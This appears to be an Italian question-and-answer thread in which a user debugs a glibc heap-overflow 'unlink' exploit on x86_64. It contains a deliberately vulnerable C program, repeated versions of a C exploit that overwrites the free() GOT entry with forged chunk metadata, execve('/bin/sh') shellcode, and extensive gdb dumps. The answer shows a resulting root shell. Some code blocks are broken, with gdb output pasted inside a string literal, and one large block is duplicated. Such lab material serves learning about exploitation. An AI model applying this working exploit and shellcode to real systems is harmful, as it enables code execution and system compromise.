Heap Overflow - unlink () sfruttamento della tecnica su x86_64 (64 bit)

3

Tentativo di sfruttare questo esempio di programma vulnerabile:

/* 
 Heap overflow vulnerable program. 
 */
#include <stdlib.h>
#include <string.h>

int main( int argc, char * argv[] )
{
        char * first, * second;

/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
        if(argc!=1)
/*[3]*/         strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}

Questo è l'exploit, ho rimosso lo shellcode per essere AAAA per ora:

/* Program to exploit 'vuln' using unlink technique.
 */
#include <string.h>
#include <unistd.h>
#include <stdio.h>

#define FUNCTION_POINTER ( 0x0600a78 )         //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x601010+ 0x10 )      //Address of variable 'first' in vuln executable. 

#define VULNERABLE "./hvuln"
#define DUMMY 0xdefaced
#define PREV_INUSE 0x1

char shellcode[] =
        /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
        (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. 
        Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
       "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int main( void )
{
        char * p;
        char argv1[ 680 + 1 ];
        char * argv[] = { VULNERABLE, argv1, NULL };

        p = argv1;
        printf("p:%p\n",p);

        /* the fd field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the fd_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* Copy the shellcode */
        memcpy( p, shellcode, strlen(shellcode) );
        p += strlen( shellcode );
        /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize 
        of first chunk */
        memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );
        p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );
        /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
        *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
        p += 4;
        /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
        *( (size_t *)p ) = (size_t)( -4 );
        p += 4;
        /* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function
        would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in 
        second chunk's bk field (see below) */
        *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
        p += 4;
        /* the bk field of the second chunk. It should point to shell code address.*/
        *( (void **)p ) = (void *)( CODE_ADDRESS );
        p += 4;
        /* the terminating NUL character */
        *p = '
(gdb) x/600x 0x7fffffffe130
0x7fffffffe130: 0x0defaced  0x0defaced  0x0defaced  0x0defaced
0x7fffffffe140: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe150: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe160: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe170: 0x41414141  0x41414141  0x41414141  0x42424141
0x7fffffffe180: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe190: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe1a0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe1b0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe1c0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe1d0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe1e0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe1f0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe200: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe210: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe220: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe230: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe240: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe250: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe260: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe270: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe280: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe290: 0x42424242  0x42424242  0x42424242  0x42424242
---Type <return> to continue, or q <return> to quit---
0x7fffffffe2a0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe2b0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe2c0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe2d0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe2e0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe2f0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe300: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe310: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe320: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe330: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe340: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe350: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe360: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe370: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe380: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe390: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe3a0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe3b0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe3c0: 0x42424242  0x42424242  0x0defacec  0xfffffffc
0x7fffffffe3d0: 0x00600a6c  0x00601020  0x00000000  0x00000000
'; printf("p:%p\n",p); /* the execution of the vulnerable program */ execve( argv[0], argv, NULL ); return( -1 ); }

Ecco il layout di memoria:

(gdb) cont
Continuing.
process 9395 is executing new program: /home/user/security/heapvuln/hvuln
[Inferior 1 (process 9395) exited normally]
(gdb) 

Sembra che stia facendo quello che dovrebbe ... ma non funziona ... il programma è avviato ed esiste, non si colpisce lo shellcode

Continuing.

Breakpoint 3, main (argc=2, argv=0x7fffffffee78) at hvuln.c:20
20  /*[4]*/ free(first);
(gdb) x/34x 0x601000
0x601000:   0x00000000  0x00000000  0x000002b1  0x00000000
0x601010:   0x0defaced  0x00000000  0x00000000  0x00000000
0x601020:   0x00000000  0x00000000  0x00000000  0x00000000
0x601030:   0x00000000  0x00000000  0x00000000  0x00000000
0x601040:   0x00000000  0x00000000  0x00000000  0x00000000
0x601050:   0x00000000  0x00000000  0x00000000  0x00000000
0x601060:   0x00000000  0x00000000  0x00000000  0x00000000
0x601070:   0x00000000  0x00000000  0x00000000  0x00000000
0x601080:   0x00000000  0x00000000
(gdb) cont
Continuing.
[Inferior 1 (process 7381) exited normally]
(gdb) quit

Cosa c'è di sbagliato con l'exploit? Qualche consiglio? Idee?

Questo è tutto basato su questo:

link

Ho disabilitato ASLR, regolato FUNCTION_POINTER e CODE_ADDRESS. Sto anche lavorando con glibc-2.20 compilato e pianifico di rimuovere alcuni controlli di sicurezza in seguito .... ma non sono arrivato così lontano, finora non viene eseguito nulla: /

Aggiornamento 1:

Ho eseguito il debug su x86 (installando la macchina x86 attualmente)

Ecco come appare su x86_64

Breakpoint 2, main (argc=2, argv=0xbffffc74) at hvuln.c:20
20  /*[4]*/ free(first);
(gdb)  x/34x 0x804a000
0x804a000:  0x00000000  0x000002a1  0x0defaced  0x0defaced
0x804a010:  0x0defaced  0x0defaced  0x41414141  0x41414141
0x804a020:  0x41414141  0x41414141  0x41414141  0x41414141
0x804a030:  0x41414141  0x41414141  0x41414141  0x41414141
0x804a040:  0x41414141  0x41414141  0x41414141  0x41414141
0x804a050:  0x41414141  0x42424141  0x42424242  0x42424242
0x804a060:  0x42424242  0x42424242  0x42424242  0x42424242
0x804a070:  0x42424242  0x42424242  0x42424242  0x42424242
0x804a080:  0x42424242  0x42424242

e così su x86

root@user-VirtualBox:~/security# gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,-rpath=/home/user/glibc-inst2.20/lib -Wl,-dynamic-linker=/home/user/glibc-inst2.20/lib/ld-linux.so.2 


root@user-VirtualBox:~/security# gcc exp.c -o exp
root@user-VirtualBox:~/security# ./exp 

# ls
exp  exp.c  vuln  vuln.c  vuln1  vuln1.c
#

Nel primo scenario (x86_64), i blocchi non vengono sovrascritti correttamente, ma perché?

Aggiornamento 2:

Ok con glibc modificato per consentire la tecnica unlink () e su 32bits funziona:

/* Program to exploit 'vuln' using unlink technique.
 */
#include <string.h>
#include <unistd.h>
#include <stdio.h>

#define FUNCTION_POINTER ( 0x0000000000600ac8 )         //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x601010+ 0x10 )      //Address of variable 'first' in vuln executable. 

#define VULNERABLE "./hvuln"
#define DUMMY 0xffffffffffffffff
#define PREV_INUSE 0x1

char shellcode[] =
        /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
        (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. 
        Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
          "\xeb\x0assppppffff"
        "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main( void )
{
        char * p;
        char argv1[ 680 + 1 ];
        char * argv[] = { VULNERABLE, argv1, NULL };

        p = argv1;
        printf("p:%p\n",p);

        /* the fd field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 8;
        /* the bk field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 8;
        /* the fd_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 8;
        /* the bk_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 8;
        /* Copy the shellcode */
        memcpy( p, shellcode, strlen(shellcode) );
        p += strlen( shellcode );
        /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize 
        of first chunk */
        memset( p, 'B', (680 - 4*8) - (4*8 + strlen(shellcode)) );
        p += ( 680 - 4*8 ) - ( 4*8 + strlen(shellcode) );
        /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
        *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
        p += 8;
        /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
        *( (size_t *)p ) = (size_t)( -4);
        p += 8;
        /* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function
        would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in 
        second chunk's bk field (see below) */
        *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
        p += 8;
        /* the bk field of the second chunk. It should point to shell code address.*/
        *( (void **)p ) = (void *)( CODE_ADDRESS );
        p += 8;
        /* the terminating NUL character */
        *p = '
0x7fffffffe380: 0x42424242      0x42424242      0x42424242      0x42424242
0x7fffffffe390: 0x42424242      0x42424242      0x42424242      0x42424242
0x7fffffffe3a0: 0x42424242      0x42424242      0x42424242      0x42424242
0x7fffffffe3b0: 0x42424242      0x42424242      0xfffffffe      0xffffffff
0x7fffffffe3c0: 0xfffffffc      0xffffffff      0x00600abc      0x00000000
0x7fffffffe3d0: 0x00601020      0x00000000      0x00400500      0x00000000
0x7fffffffe3e0: 0xffffe4d0      0x00007fff      0xf3870500      0xed224e9d
0x7fffffffe3f0: 0x004008c0      0x00000000      0xf7a2e830      0x00007fff
0x7fffffffe400: 0x00000000      0x00000000      0xffffe4d8      0x00007fff
'; printf("p:%p\n",p); /* the execution of the vulnerable program */ execve( argv[0], argv, NULL ); return( -1 ); }

Cercherò di farlo funzionare a 64 bit .... forse qualcuno mi aiuta tra ...

Aggiornamento 3:

Poiché è a 64 bit, avanzo il puntatore ora di 8 byte ....

0x601270:       0x42424242      0x42424242      0x42424242      0x42424242
0x601280:       0x42424242      0x42424242      0x42424242      0x42424242
0x601290:       0x42424242      0x42424242      0xfffffffe      0xffffffff
0x6012a0:       0xfffffffc      0xffffffff      0x00600abc      0x76682f2e
0x6012b0:       0x006e6c75      0x00000000      0x00000000      0x00000000
0x6012c0:       0x00000000      0x00000000      0x00000000      0x00000000
0x6012d0:       0x00000000      0x00000000      0x00020d31      0x00000000

Non so perché nel mio carico alla fine:

  0x601230: 0x42424242  0x42424242  0x42424242  0x42424242
    0x601240:   0x42424242  0x42424242  0x42424242  0x42424242
    0x601250:   0x42424242  0x42424242  0x42424242  0x42424242
    0x601260:   0x42424242  0x42424242  0x42424242  0x42424242
    0x601270:   0x42424242  0x42424242  0x42424242  0x42424242
    0x601280:   0x42424242  0x42424242  0x42424242  0x42424242
    0x601290:   0x42424242  0x42424242  0x42424242  0x42424242
    0x6012a0:   0x42424242  0x42424242  0x42424242  0x42424242
    0x6012b0:   0x42424242  0x42424242  0x0defacec  0x0defaced
    0x6012c0:   0xfffffffc  0xffffffff  0x00600b24  0x00000000
    0x6012d0:   0x00601050  0x00000000  0x00400600  0x00000000

(gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
_int_free (av=0x7ffff7dd5b80 <main_arena>, p=<optimized out>, have_lock=0)
    at malloc.c:3984
3984          if (!nextinuse) {
(gdb) l
3979        if (nextchunk != av->top) {
3980          /* get and clear inuse bit */
3981          nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
3982    
3983          /* consolidate forward */
3984          if (!nextinuse) {
3985        unlink(nextchunk, bck, fwd);
3986        size += nextsize;
3987          } else
3988        clear_inuse_bit_at_offset(nextchunk, 0);
(gdb) 

dopo exceve () e strcpy () assomiglia a questo:

/* Program to exploit 'vuln' using unlink technique.
 */
#include <string.h>
#include <unistd.h>
#include <stdio.h>

#define FUNCTION_POINTER (0x0000000000600b30 )         //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x601010+ 0x20 )      //Address of variable 'first' in vuln executable. 

#define VULNERABLE "./vuln"
#define DUMMY 0x0defaced0defaced
#define PREV_INUSE 0x1

char shellcode[] =
        /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
        (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. 
        Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
          "\xeb\x0assppppffff"
          "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
    "\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";
int main( void )
{
        char * p;
        char argv1[ 704+1];
        char * argv[] = { VULNERABLE, argv1, NULL };

        p = argv1;
        printf("p:%p\n",p);

        /* the fd field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 8;
        /* the bk field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 8;
        /* the fd_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 8;
        /* the bk_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 8;
        /* Copy the shellcode */
        int slen;
        slen=strlen(shellcode);
        printf("s len:%i\n",slen);
        memcpy( p, shellcode, strlen(shellcode) );
        p += strlen( shellcode );
        /* Padding- 32 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize 
        of first chunk */
        memset( p, 'B', (704 - 4*8) - (4*8 + strlen(shellcode)) );
        p += ( 704 - 4*8 ) - ( 4*8 + strlen(shellcode) );
        /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
        *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
        p += 8;
        /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
        *( (size_t *)p ) = (size_t)( -4);

        p += 8;
        /* the fd field of the second chunk. It should point to free - 24. -24 is required since unlink function
        would do + 24 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in 
        second chunk's bk field (see below) */
        *( (void **)p ) = (void *)( FUNCTION_POINTER - 24 );
        p += 8;
        /* the bk field of the second chunk. It should point to shell code address.*/
        *( (void **)p ) = (void *)( CODE_ADDRESS );
        p += 8;


        FILE *write_ptr;

        write_ptr = fopen("out.bin","wb");  // w for write, b for binary

        fwrite(argv1,sizeof(char),704,write_ptr); 

        return( -1 );
}

Ho anche provato a sostituire strcpy () con memcpy () ma il comportamento è lo stesso ...

Aggiornamento 4:

Era dovuto al carico utile fornito dall'argomento comando, quando si fermava su null. Ho modificato il programma vulnerabile per leggere il file tramite fread () e sfruttare per scrivere un file che lo sfrutta.

Tuttavia ora ho questo problema:

/* 
 Heap overflow vulnerable program. 
 */
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

int main( int argc, char * argv[] )
{
        char * first, * second;

/*[1]*/ first = malloc(666);
/*[2]*/ second = malloc(12);
        printf("argc=%i\n",argc);
        printf("first is at %p\n",first);
        printf("second is at %p\n",second);
        FILE *ptr;
        ptr = fopen("out.bin","rb");  // r for read, b for binary
        fread(first,sizeof(char),704,ptr); 
/*[4]*/ free(first);
/*[5]*/ free(second);
/*[6]*/ return(0);
}

Si blocca qui.

Qualcuno ha un'idea di cosa c'è che non va nel mio chunk?

Aggiornamento 5:

Colpire lo shellcode, ma segfaults.

Versione di exp.c

(gdb) b *0x60103c 
Breakpoint 3 at 0x60103c
(gdb) cont
Continuing.

Breakpoint 3, 0x000000000060103c in ?? ()
(gdb) x/10i $rip
=> 0x60103c:    xor    %esi,%esi
   0x60103e:    movabs $0x600b18,%rbx
   0x601048:    push   %rsi
   0x601049:    push   %rbx
   0x60104a:    push   %rsp
   0x60104b:    pop    %rdi
   0x60104c:    pushq  $0x3b
   0x60104e:    pop    %rax
   0x60104f:    xor    %edx,%edx
   0x601051:    syscall 
(gdb) x/20i $rip
=> 0x60103c:    xor    %esi,%esi
   0x60103e:    movabs $0x600b18,%rbx
   0x601048:    push   %rsi
   0x601049:    push   %rbx
   0x60104a:    push   %rsp
   0x60104b:    pop    %rdi
   0x60104c:    pushq  $0x3b
   0x60104e:    pop    %rax
   0x60104f:    xor    %edx,%edx
   0x601051:    syscall 
   0x601053:    rex.X
   0x601054:    rex.X
   0x601055:    rex.X
   0x601056:    rex.X
   0x601057:    rex.X
   0x601058:    rex.X
   0x601059:    rex.X
   0x60105a:    rex.X
   0x60105b:    rex.X
   0x60105c:    rex.X
(gdb) stepi
0x000000000060103e in ?? ()
(gdb) 
0x0000000000601048 in ?? ()
(gdb) 
0x0000000000601049 in ?? ()
(gdb) 
0x000000000060104a in ?? ()
(gdb) 
0x000000000060104b in ?? ()
(gdb) 
0x000000000060104c in ?? ()
(gdb) 
0x000000000060104e in ?? ()
(gdb) 
0x000000000060104f in ?? ()
(gdb) 
0x0000000000601051 in ?? ()
(gdb) 
0x0000000000601053 in ?? ()
(gdb) 

Program received signal SIGSEGV, Segmentation fault.
0x0000000000601053 in ?? ()
(gdb) i r
rax            0xfffffffffffffffe   -2
rbx            0x600b18 6294296
rcx            0x601053 6295635
rdx            0x0  0
rsi            0x0  0
rdi            0x7fffffffe3a8   140737488348072
rbp            0x7fffffffe3f0   0x7fffffffe3f0
rsp            0x7fffffffe3a8   0x7fffffffe3a8
r8             0xfffffffffffffffc   -4
r9             0x600b18 6294296
r10            0x8a3    2211
r11            0x346    838
r12            0x400580 4195712
r13            0x7fffffffe4d0   140737488348368
r14            0x0  0
r15            0x0  0
rip            0x601053 0x601053
eflags         0x10246  [ PF ZF IF RF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb)

vuln.c

/* 
 Heap overflow vulnerable program. 
 */
#include <stdlib.h>
#include <string.h>

int main( int argc, char * argv[] )
{
        char * first, * second;

/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
        if(argc!=1)
/*[3]*/         strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}

Sto eseguendo lo shellcode sull'heap. Trovato questo:

link

Ma in qualche modo segfaults ....

ci sono precauzioni da prendere durante l'esecuzione di shellcode nell'heap?

quali sono le istruzioni di rex.X?

Che cosa dovrei controllare per far funzionare il mio shellcode?

/* Program to exploit 'vuln' using unlink technique.
 */
#include <string.h>
#include <unistd.h>
#include <stdio.h>

#define FUNCTION_POINTER ( 0x0600a78 )         //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x601010+ 0x10 )      //Address of variable 'first' in vuln executable. 

#define VULNERABLE "./hvuln"
#define DUMMY 0xdefaced
#define PREV_INUSE 0x1

char shellcode[] =
        /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
        (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. 
        Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
       "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int main( void )
{
        char * p;
        char argv1[ 680 + 1 ];
        char * argv[] = { VULNERABLE, argv1, NULL };

        p = argv1;
        printf("p:%p\n",p);

        /* the fd field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the fd_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* Copy the shellcode */
        memcpy( p, shellcode, strlen(shellcode) );
        p += strlen( shellcode );
        /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize 
        of first chunk */
        memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );
        p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );
        /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
        *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
        p += 4;
        /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
        *( (size_t *)p ) = (size_t)( -4 );
        p += 4;
        /* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function
        would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in 
        second chunk's bk field (see below) */
        *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
        p += 4;
        /* the bk field of the second chunk. It should point to shell code address.*/
        *( (void **)p ) = (void *)( CODE_ADDRESS );
        p += 4;
        /* the terminating NUL character */
        *p = '
(gdb) x/600x 0x7fffffffe130
0x7fffffffe130: 0x0defaced  0x0defaced  0x0defaced  0x0defaced
0x7fffffffe140: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe150: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe160: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe170: 0x41414141  0x41414141  0x41414141  0x42424141
0x7fffffffe180: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe190: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe1a0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe1b0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe1c0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe1d0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe1e0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe1f0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe200: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe210: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe220: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe230: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe240: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe250: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe260: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe270: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe280: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe290: 0x42424242  0x42424242  0x42424242  0x42424242
---Type <return> to continue, or q <return> to quit---
0x7fffffffe2a0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe2b0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe2c0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe2d0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe2e0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe2f0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe300: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe310: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe320: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe330: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe340: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe350: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe360: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe370: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe380: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe390: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe3a0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe3b0: 0x42424242  0x42424242  0x42424242  0x42424242
0x7fffffffe3c0: 0x42424242  0x42424242  0x0defacec  0xfffffffc
0x7fffffffe3d0: 0x00600a6c  0x00601020  0x00000000  0x00000000
'; printf("p:%p\n",p); /* the execution of the vulnerable program */ execve( argv[0], argv, NULL ); return( -1 ); }
    
posta android_dev 19.02.2017 - 18:39
fonte

1 risposta

0
root@laptop:~/security/heapvuln# ./hvuln
argc=1
first is at 0x601010
second is at 0x6012c0
# 

Programma vulnerabile:

/* 
 Heap overflow vulnerable program. 
 */
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

int main( int argc, char * argv[] )
{
        char * first, * second;

/*[1]*/ first = malloc(666);
/*[2]*/ second = malloc(12);
        printf("argc=%i\n",argc);
        printf("first is at %p\n",first);
        printf("second is at %p\n",second);


        FILE *ptr;

        ptr = fopen("out.bin","rb");  // r for read, b for binary
        fread(first,sizeof(char),704,ptr);

/*[4]*/ free(first);
/*[5]*/ free(second);
/*[6]*/ return(0);
}

Exploit:

/* Program to exploit 'vuln' using unlink technique.
 */
#include <string.h>
#include <unistd.h>
#include <stdio.h>

#define FUNCTION_POINTER (0x0000000000600b30 )         //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x601010+ 0x20 )      //Address of variable 'first' in vuln executable. 

#define VULNERABLE "./hvuln"
#define DUMMY 0x0defaced0defaced
#define PREV_INUSE 0x1

char shellcode[] =
        /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
        (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. 
        Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
          "\xeb\x0assppppffff"
          "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
"\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";
int main( void )
{
        char * p;
        char argv1[ 704+1];
        char * argv[] = { VULNERABLE, argv1, NULL };

        p = argv1;
        printf("p:%p\n",p);

        /* the fd field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 8;
        /* the bk field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 8;
        /* the fd_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 8;
        /* the bk_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 8;
        /* Copy the shellcode */
        int slen;
        slen=strlen(shellcode);
        printf("s len:%i\n",slen);
        memcpy( p, shellcode, strlen(shellcode) );
        p += strlen( shellcode );
        /* Padding- 32 bytes for prev_size,size,fd and bk of second chunk. 32 bytes for fd,bk,fd_nextsize,bk_nextsize 
        of first chunk */
        memset( p, 'B', (704 - 4*8) - (4*8 + strlen(shellcode)) );
        p += ( 704 - 4*8 ) - ( 4*8 + strlen(shellcode) );
        /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
        *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
        p += 8;
        /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
        *( (size_t *)p ) = (size_t)( -4);

        p += 8;
        /* the fd field of the second chunk. It should point to free - 24. -24 is required since unlink function
        would do + 24 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in 
        second chunk's bk field (see below) */
        *( (void **)p ) = (void *)( FUNCTION_POINTER - 24 );
